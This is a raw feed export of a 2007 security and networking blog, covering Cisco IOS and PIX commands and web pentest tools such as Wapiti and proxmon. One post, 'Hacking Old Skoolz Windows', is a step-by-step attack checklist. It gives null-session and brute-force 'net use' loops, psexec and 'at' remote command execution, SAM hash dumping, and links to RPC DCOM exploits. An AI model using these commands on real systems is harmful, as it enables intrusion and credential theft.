href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4698792674537223112' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4698792674537223112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4698792674537223112'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/using-ftp-with-cutcp-telnet.html' title='Using ftp with CUTCP telnet'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8908071245053723588</id><published>2007-06-17T20:24:00.000+08:00</published><updated>2007-06-17T20:34:30.156+08:00</updated><title type='text'>Regular Expressions with Cisco IOS</title><content type='html'>I was reaading some cisco stuffs today and i knew long ago that Cisco IOS allows regular expression for simplification of search task and other uses. Well, back then i did not research much on it but i just came across 2 sites which provides more explaination with regards to Cisco IOS regex. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122cgcr/ftersv_c/ftsappx/tcfaapre.htm"&gt;http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122cgcr/ftersv_c/ftsappx/tcfaapre.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.nil.com/ipcorner/EnhanceIOSUI/"&gt;http://www.nil.com/ipcorner/EnhanceIOSUI/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8908071245053723588?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8908071245053723588/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8908071245053723588' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8908071245053723588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8908071245053723588'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/regular-expressions-with-cisco-ios.html' title='Regular Expressions with Cisco IOS'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8056151264911955456</id><published>2007-06-16T17:17:00.000+08:00</published><updated>2007-06-16T17:23:29.097+08:00</updated><title type='text'>Cisco Router's DNS server to kill browser advertisement</title><content type='html'>I just happen to stumble across &lt;a href="http://ioshints.blogspot.com/2007/06/kill-browser-ads-with-cisco-router-dns.html"&gt;ioshints blog&lt;/a&gt;. He mentioned something about the cisco router's dns server having a way to prevent unwanted website advertisement. You guys can read more at: &lt;a href="http://www.nil.com/ipcorner/RouterDNS/"&gt;http://www.nil.com/ipcorner/RouterDNS/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8056151264911955456?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8056151264911955456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8056151264911955456' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8056151264911955456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8056151264911955456'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/cisco-routers-dns-server-to-kill.html' title='Cisco Router&apos;s DNS server to kill browser advertisement'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3028586840553857506</id><published>2007-06-16T15:11:00.001+08:00</published><updated>2007-06-16T15:11:32.427+08:00</updated><title type='text'>Hacking Old Skoolz Windows</title><content type='html'>Port 135 (client-server communications)&lt;br /&gt;&lt;br /&gt;Port 139, 445 (authentication and file sharing)&lt;br /&gt;&lt;br /&gt;Port 137,138 (NetBIOS browser, name and lookup functions)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Look for port 135 endpoint mapping which includes, Microsoft Outlook, Exchange and Messenger Service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nmap server to look for port 135&lt;br /&gt;&lt;br /&gt;Run rpcscan or epdump on server over port tcp or udp port 135&lt;br /&gt;&lt;br /&gt;If udp port 1028, 1029 opened or tcp port 1025 opened, run rpcscan over those ports&lt;br /&gt;&lt;br /&gt;Look for IFID 12345778-1234-abcd-ef00-0123456789ab and 12345778-1234-abcd-ef00-0123456789ac for both LSA and SAMR interface respectively. Can be found on all Windows NT OS using name pipes accessible through SMB session over TCP port 139 or 445.&lt;br /&gt;&lt;br /&gt;Run walksam query if SMAR interface is present to glean user information.&lt;br /&gt;&lt;br /&gt;Run rpcclient from backtrack if a valid username and password is given. LSARPC interface must be present&lt;br /&gt;&lt;br /&gt;Compromise admin password using brute force tool WMICracker.&lt;br /&gt;&lt;br /&gt;Use Remoxec to execute arbitrary commands.&lt;br /&gt;&lt;br /&gt;Verify if server is vulnerable for RPC DCOM exploits. If patch MS03-026 and MS03-039 is applied, nothing can be done. Else download exploits from&lt;br /&gt;&lt;br /&gt;http://packetstormsecurity.org/0307-exploits/dcom.c&lt;br /&gt;http://packetstormsecurity.org/0307-exploits/DComExpl_UnixWin32.zip&lt;br /&gt;http://packetstormsecurity.org/0307-exploits/rpcdcom.101.zip&lt;br /&gt;http://packetstormsecurity.org/0307-exploits/oc192-dcom.c&lt;br /&gt;http://examples.oreilly.com/networksa/tools/dcom-exploits.zip&lt;br /&gt;http://www.securityfocus.com/bid/8205/exploit/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DCOM interface can be exploited through:&lt;br /&gt;&lt;br /&gt;TCP and UDP port 135 (through RPC server service)&lt;br /&gt;TCP ports 139 and 445 (through SMB and named pipes)&lt;br /&gt;TCP port 593 (through COM Internet Services, if installed)&lt;br /&gt;Use kaHt2 to exploit a remote shell&lt;br /&gt;Use SPKIE msrpcfuzz fuzzer to do stress test.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;NetBIOS Name Service UDP port 137&lt;br /&gt;&lt;br /&gt;Dumping NetBIOS table: Nbtstat –A 192.168.1.152&lt;br /&gt;&lt;br /&gt;Local Area Connection:&lt;br /&gt;Node IpAddress: [192.168.1.20] Scope Id: []&lt;br /&gt;&lt;br /&gt;NetBIOS Remote Machine Name Table&lt;br /&gt;&lt;br /&gt;       Name               Type         Status&lt;br /&gt;    ---------------------------------------------&lt;br /&gt;    CARAA          &lt;00&gt;  UNIQUE      Registered&lt;br /&gt;    WORKGROUP      &lt;00&gt;  GROUP       Registered&lt;br /&gt;    CARAA          &lt;20&gt;  UNIQUE      Registered&lt;br /&gt;    WORKGROUP      &lt;1E&gt;  GROUP       Registered&lt;br /&gt;&lt;br /&gt;    MAC Address = 00-0D-88-CB-30-0B&lt;br /&gt;&lt;br /&gt;------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;00&gt;  unique  hostname&lt;br /&gt;&lt;00&gt;  group  domain name&lt;br /&gt;&lt;host name&gt;&lt;03&gt;  unique  Messenger service running for that computer&lt;br /&gt;&lt;use name&gt;&lt;03&gt;   unique  Messenger service running for that individual logged in user&lt;br /&gt;&lt;20&gt; unique  Server service running&lt;br /&gt;&lt;1D&gt;  group  Master browser name for the subnet&lt;br /&gt;&lt;1B&gt;  unique  Domain master browser name, identifies PDC for that domain&lt;br /&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0661&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NetBIOS Datagram Service UDP port 138&lt;br /&gt;http://www.securityfocus.com/advisories/2556&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NetBIOS Session Service TCP port 139&lt;br /&gt;&lt;br /&gt;Connect through null session: &lt;br /&gt;&lt;br /&gt;net use \\192.168.1.152\IPC$ “” /user:””&lt;br /&gt;net view \\192.168.1.152&lt;br /&gt;Use tools like enum, GetAcct and winfo to enumerate more info.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Brute force user password through NetBIOS session service with tools like SMBCrack and SMB-AT or use Windows LOOP to find password.&lt;br /&gt;&lt;br /&gt;1. Create a file credentials.txt with username and password:&lt;br /&gt;&lt;br /&gt;Password  Username&lt;br /&gt;“”   Administrator&lt;br /&gt;Password  Administrator&lt;br /&gt;Admin   Administrator&lt;br /&gt;&lt;br /&gt;2. FOR /F “tokens=1,2*” %i in (credentials.txt) do net use \\192.168.1.152\IPC$ %i /user:%j&lt;br /&gt;&lt;br /&gt;3. Using the NetBIOS tool with LOOP&lt;br /&gt;FOR /L %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt 192.168.1.%i &gt; out.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Connect through valid user:&lt;br /&gt;Smbclient to enumerate more info.&lt;br /&gt;net use \\192.168.1.152\C$ * /user:scadmin (Will prompt for a password)&lt;br /&gt;net use \\192.168.1.152\C$ ronald3211 /user:scadmin&lt;br /&gt;at \\192.168.1.152 00:04 c:\Windows\system32\cmd.exe&lt;br /&gt;&lt;br /&gt;Modify and accessing registry keys using &lt;br /&gt;Regdmp.exe&lt;br /&gt;Regini.exe&lt;br /&gt;Reg.exe&lt;br /&gt;&lt;br /&gt;Accessing the SAM Database and LSASS&lt;br /&gt;&lt;br /&gt;Pwdump5&lt;br /&gt;Lsadump2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CIFS Service running on TCP and UDP port 445&lt;br /&gt;&lt;br /&gt;SMB-AT to enumerate user and system info.&lt;br /&gt;Smbserverscan to scan for smb related ports.&lt;br /&gt;Smbgetserverinfo to get server info.&lt;br /&gt;smbNAT to provide more details about the server info.&lt;br /&gt;&lt;br /&gt;Smbdumpusers to enumerate port 139 and 445.&lt;br /&gt;Smbdumpusers –i 192.168.1.152 –m 2 –P1&lt;br /&gt;&lt;br /&gt;Smbbf to brute-force password grinding attacks against both NetBIOS and CIFS services.&lt;br /&gt;Smbbf –i 192.168.1.152 –p wordlist.txt –u users.txt –v –P1&lt;br /&gt;&lt;br /&gt;Need to have admin user name and password.&lt;br /&gt;Samrdump to list all username in server&lt;br /&gt;Rpcdump to list all endpoint bindings&lt;br /&gt;&lt;br /&gt;Registry path for null session: HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;br /&gt;Restrictanonymous =0, 1, 2&lt;br /&gt;&lt;br /&gt;Use pwdump5 to capture SAM file.&lt;br /&gt;Use netcat to open a shell on remote OS&lt;br /&gt;Use psexec through port 139 or 445 to execute command&lt;br /&gt;Psexec \\192.168.1.152 –u Admin –p password –s cmd.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IIS buffer overflow&lt;br /&gt;&lt;br /&gt;IIS 5.0 SSL Remote root exploit use thciisslame&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3028586840553857506?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3028586840553857506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3028586840553857506' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3028586840553857506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3028586840553857506'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/hacking-old-skoolz-windows.html' title='Hacking Old Skoolz Windows'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-702013100200149601</id><published>2007-06-13T15:55:00.000+08:00</published><updated>2007-06-13T17:51:36.684+08:00</updated><title type='text'>Cisco's PIX/ASA TCP flags syntax</title><content type='html'>Have you guys ever wondered how PIX or ASA firewall TCP 3 way handshake works? Well, its absolutely similiar to how the normal TCP/IP handshake works. Just a little different in terms of the syntax. For instance &lt;strong&gt;SYN&lt;/strong&gt; flag in PIX is known as &lt;strong&gt;saA&lt;/strong&gt;. For torubleshooting purposes, you would however need to know these flags in PIX/ASA. I had summarised a table of the flags and how it works.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/Rm-5gwIqNtI/AAAAAAAAAXY/D_PV-SHwbRA/s1600-h/FW+flags.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/Rm-5gwIqNtI/AAAAAAAAAXY/D_PV-SHwbRA/s200/FW+flags.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5075479277398013650" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-702013100200149601?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/702013100200149601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=702013100200149601' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/702013100200149601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/702013100200149601'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/ciscos-pix-asa-troubleshooting.html' title='Cisco&apos;s PIX/ASA TCP flags syntax'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_Zx8XWzC_KPQ/Rm-5gwIqNtI/AAAAAAAAAXY/D_PV-SHwbRA/s72-c/FW+flags.JPG' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6413056023323171820</id><published>2007-06-12T13:44:00.000+08:00</published><updated>2007-06-12T15:24:26.334+08:00</updated><title type='text'>PIX firewall troubleshooting commands</title><content type='html'>I am adding some commonly used PIX firewall troubleshooting commands. For those of you who does troubleshooting of the firewall, you know should familiar yourself with these commmands. Handy yet Powerful.&lt;br /&gt;&lt;br /&gt;1. &lt;strong&gt;show xlate, show xlate detail&lt;/strong&gt; - display NAT translations and its details&lt;br /&gt;&lt;br /&gt;2. &lt;strong&gt;show connection, show connection detail&lt;/strong&gt; - display connection details built in the firewall&lt;br /&gt;&lt;br /&gt;3. &lt;strong&gt;show service-policy&lt;/strong&gt; - display inspection policies&lt;br /&gt;&lt;br /&gt;4. &lt;strong&gt;show local-host 192.168.1.1&lt;/strong&gt; - display translation, AAA, connection information&lt;br /&gt;&lt;br /&gt;5. &lt;strong&gt;show asp drop&lt;/strong&gt; - show number of packets dropped while processing the packets&lt;br /&gt;&lt;br /&gt;6. &lt;strong&gt;show mem&lt;/strong&gt; - display memory usage in the PIX&lt;br /&gt;&lt;br /&gt;7. &lt;strong&gt;show cpu usage&lt;/strong&gt; - display cpu usage over a time period&lt;br /&gt;&lt;br /&gt;8. &lt;strong&gt;show traffic&lt;/strong&gt; - display total traffic transmitted and received on each individual interfaces on the PIX&lt;br /&gt;&lt;br /&gt;9. &lt;strong&gt;show block&lt;/strong&gt; and &lt;strong&gt;show cpu usage&lt;/strong&gt; can determine if the firewall is overloaded.&lt;br /&gt;&lt;br /&gt;Of course there are many other things you would need to know like the debug commands, capture commands, show logging, show running logging, show logging setting commands. If you guys need to know more, just email me and i will guide you&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6413056023323171820?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6413056023323171820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6413056023323171820' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6413056023323171820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6413056023323171820'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/06/pix-firewall-troubleshooting-commands.html' title='PIX firewall troubleshooting commands'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7947771288615849317</id><published>2007-05-18T17:02:00.000+08:00</published><updated>2007-05-18T19:08:08.420+08:00</updated><title type='text'>Page Rank at 4</title><content type='html'>Hi guys, its been really a long time since i update my blog. These days, i am just pure pure busy with ideas flowing around and trying to make my ideas happen. I am actually doing lotsa research and reading work and putting bits and pieces together once it is ready. I should be starting to code when i make a return trip back to dubai from singapore. Well, i was searching for page ranking of my blog, and to my surprise, just 2 months of blogging and commenting, i got a page rank of 4 which i am so happy. Its like i start from 0 to 4, and now, thats an achivement for me. Check out &lt;a href="www.seochat.com"&gt;www.seochat.com&lt;/a&gt;. This hardwork and perseverance will be continued on my new project and i hope to make it a success. Till then, drop me an email if you guys want to know more about networking or just say hi and I will be happy. Peace.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7947771288615849317?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7947771288615849317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7947771288615849317' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7947771288615849317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7947771288615849317'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/05/page-rank-at-4.html' title='Page Rank at 4'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7843989312873529545</id><published>2007-04-21T15:54:00.000+08:00</published><updated>2007-04-21T16:04:24.385+08:00</updated><title type='text'>My Last Post on Security Stuffs</title><content type='html'>To all my dereast and loyal readers, i am sad to say that this might be the last post i make regarding network security or web security here. Why? Because i am off to something even more exciting and challenging. These 2 months of blogging had been really great with a vast amount of knowledge exchanged from the community. Its a short yet fruitful journey for me and thank you guys for all the support and emails you gave me. I can only say sorry here because i will not have the time to actually blog too much on security again. Instead something big and exciting is waiting ahead for me to accomplished. Nevertheless, you guys can still email me regarding security issues you have. I will try to response fast. Once again, thank you.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7843989312873529545?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7843989312873529545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7843989312873529545' title='103 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7843989312873529545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7843989312873529545'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/my-last-post-on-security-stuffs.html' title='My Last Post on Security Stuffs'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>103</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3089242007335060179</id><published>2007-04-18T15:24:00.000+08:00</published><updated>2007-04-18T16:42:16.128+08:00</updated><title type='text'>Windows Vista Forensics</title><content type='html'>I was reading articles and i happen to stumble a &lt;a href="http://www.securityfocus.com/infocus/1889"&gt;microsoft vista forensics article&lt;/a&gt;. In this article, Jamie Morris from Forensic Focus share his view on vista forensics and several new vista features. I think microsoft is really picking up on security these days compared to the past and their response to security incident is fast. Yes, you can agrue that vista is hacked and it is not secure, but still which softwre doesnt have bugs? Most importantly, they always release patches  fast after certain exploits has been discovered and allowing end users like us to do update. Linux is powerful and has improved a lot over the years, but still i would prefer to use microsoft as my main OS and Linux as a VMWare image, why? Because i think Bill Gates is great. I give full support to this man 100%. Without Bill, you wont have a great OS like Windows for you to start your computer knowledge with. Well, this is just my point of view, but you can argue.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3089242007335060179?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3089242007335060179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3089242007335060179' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3089242007335060179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3089242007335060179'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/windows-vista-forensics.html' title='Windows Vista Forensics'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2507191117983786561</id><published>2007-04-17T18:39:00.000+08:00</published><updated>2007-04-17T18:57:08.947+08:00</updated><title type='text'>Tactical VoIP Toolkit Released</title><content type='html'>Guys, if you are into VoIP auditing, the Grugq has finally released his long waited Tactical VoIP Toolkit. I was using this tool at HiTB when he first released it to the students attending his training. It was written in Python and best of all, it is customizable. You can write your own VoIP security tools on top of the Toolkit. This makes it very portable and flexible in terms of the tool's function. Well, currently there is only siping and ravage but its sufficient enough to perform basic audit and analyzation. &lt;br /&gt;&lt;br /&gt;"The Tactical VoIP Toolkit (TacVTK) is a collection of tools designed specifically for VoIP security assessment. The TacVTK's functionality will expand in as new tools are developed and integrated."&lt;br /&gt;&lt;br /&gt;Please visit the Grugq's site at &lt;a href="http://www.tacticalvoip.com"&gt;http://www.tacticalvoip.com&lt;/a&gt; to download this free and powerful tool. Hey Grugq, big ups to you. :)&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2507191117983786561?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2507191117983786561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2507191117983786561' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2507191117983786561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2507191117983786561'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/tactical-voip-toolkit-released.html' title='Tactical VoIP Toolkit Released'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4271433313232068570</id><published>2007-04-16T18:39:00.000+08:00</published><updated>2007-04-16T19:07:38.049+08:00</updated><title type='text'>Wapiti and proxmon</title><content type='html'>I was posting on &lt;a href="http://sla.ckers.org/forum"&gt;Rsnake's forum&lt;/a&gt; about web penetration testing tools that most web application pentesters used. For me, i only use webscarab, XSS cheatsheet from Rsnake, wikto and firefox addons like tamper data and live http headers for my testings. These tools are good enough for me to get the job done most of the time. Sometimes, it depends how much i want to actually break into systems during a test. If the application has a lot of vulnerabilities during a simple scan, it is nuff said, please patch your system. Else if the application is robust enough, i am very determine to actually dig in further to uncover flaws. &lt;br /&gt;&lt;br /&gt;The other night, jeremiah posted a topic on "&lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Vulnerability Assessment, When do we stop looking?&lt;/a&gt; " and i commented that if the application is vulnerable to simple scans, then it is not worth to dig in further, else if the application is robust, it is worth every single effort to explore more flaws. And when do we stop? It all depends on how much you think the application has serious vulnerabilities. As i was commenting on his blog, i was thinking of a tool that can simplify my process of auditing and i happen to read on jungsonn comments. He recommended a very useful tool that i am going to test it once i finished my project over here. Yes its hectic here and sorry for the lack of updates guys. Here is a short excerpt.&lt;br /&gt;&lt;br /&gt;Wapiti:&lt;br /&gt;* File Handling Errors (Local and remote include/require, fopen, readfile…) &lt;br /&gt;* Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections) &lt;br /&gt;* XSS (Cross Site Scripting) Injection &lt;br /&gt;* LDAP Injection &lt;br /&gt;* Command Execution detection (eval(), system(), passtru()…) &lt;br /&gt;* CRLF Injection (HTTP Response Splitting, session fixation…) &lt;br /&gt;&lt;br /&gt;I managed to test it a little and it seems to be a good tool to use and the best of all, its open source which means it is free!! You will need python to use this tool. More can be found here: &lt;a href="http://wapiti.sourceforge.net"&gt;http://wapiti.sourceforge.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As i was playing around his tool, i was thinking about blackhat. I want to see what is the latest exploits that security researchers found and i stumble across another web application pentesting tool. Its &lt;a href="http://code.google.com/p/proxmon/"&gt;proxmon&lt;/a&gt;. It was written by Jonathan Wilkins and he presented in Blackhat Europe 2007, so i guess it wouldn't be a bad tool to use. A sample of the tool output is shown as below: &lt;br /&gt;&lt;br /&gt;[*] starting ProxMon v1.0.15 (http://www.isecpartners.com)&lt;br /&gt;[*] Copyright (C) 2007, Jonathan Wilkins, iSEC Partners Inc.&lt;br /&gt;[*] Proxmon comes with ABSOLUTELY NO WARRANTY;&lt;br /&gt;[*] This is free software, and you are welcome to redistribute it&lt;br /&gt;[*] under certain conditions; see accompanying file LICENSE for &lt;br /&gt;[*] details on warranty and redistribution details.&lt;br /&gt;[*] Loading support for: WebScarab&lt;br /&gt;[*] Loading Checks ... &lt;br /&gt; - Find interesting comments&lt;br /&gt; - Find cookie values that also are sent on the query string&lt;br /&gt; - Find HTTP Basic or Digest Authentication usage&lt;br /&gt; - Identify frameworks and scripts in use by server&lt;br /&gt; - Find dangerous functions in JavaScript code&lt;br /&gt; - Find offsite redirects&lt;br /&gt; - Find cookies with the secure flag that also get sent cleartext&lt;br /&gt; - Find values set over SSL that later go cleartext&lt;br /&gt; - Find values sent to other domains&lt;br /&gt; - Find common undesirable directories&lt;br /&gt; - Find files that indicate common vulnerabilities&lt;br /&gt; - Find directories that allow directory listing&lt;br /&gt; - Find SSL server configuration issues&lt;br /&gt; - Find directories writable via PUT&lt;br /&gt;[*] 14 checks loaded&lt;br /&gt;[*] Finding available sessions ...&lt;br /&gt;[*] Processing session test/webscarab in test&lt;br /&gt;[*] Running in monitor mode&lt;br /&gt;[*] Monitoring test/webscarab&lt;br /&gt;[*] Parsing existing conversations ...&lt;br /&gt;[*] Interesting comment: XXX in http://scratch.bitland.net:80/ (TIDs: 35)&lt;br /&gt;[*] Interesting comment: bug in http://www.bitland.net:80/ (TIDs: 532)&lt;br /&gt;[*] Interesting comment: TODO in http://scratch.bitland.net:80/ (TIDs: 35)&lt;br /&gt;[*] Interesting comment: ??? in http://scratch.bitland.net:80/ (TIDs: 35)&lt;br /&gt;[*] Interesting comment: !!! in http://scratch.bitland.net:80/ (TIDs: 35)&lt;br /&gt;[*] Cookie value seen on QS: secret1 (Secure, SSL) (TIDs: 16)&lt;br /&gt;[*] Cookie value seen on QS: secret2 (Secure, SSL) (TIDs: 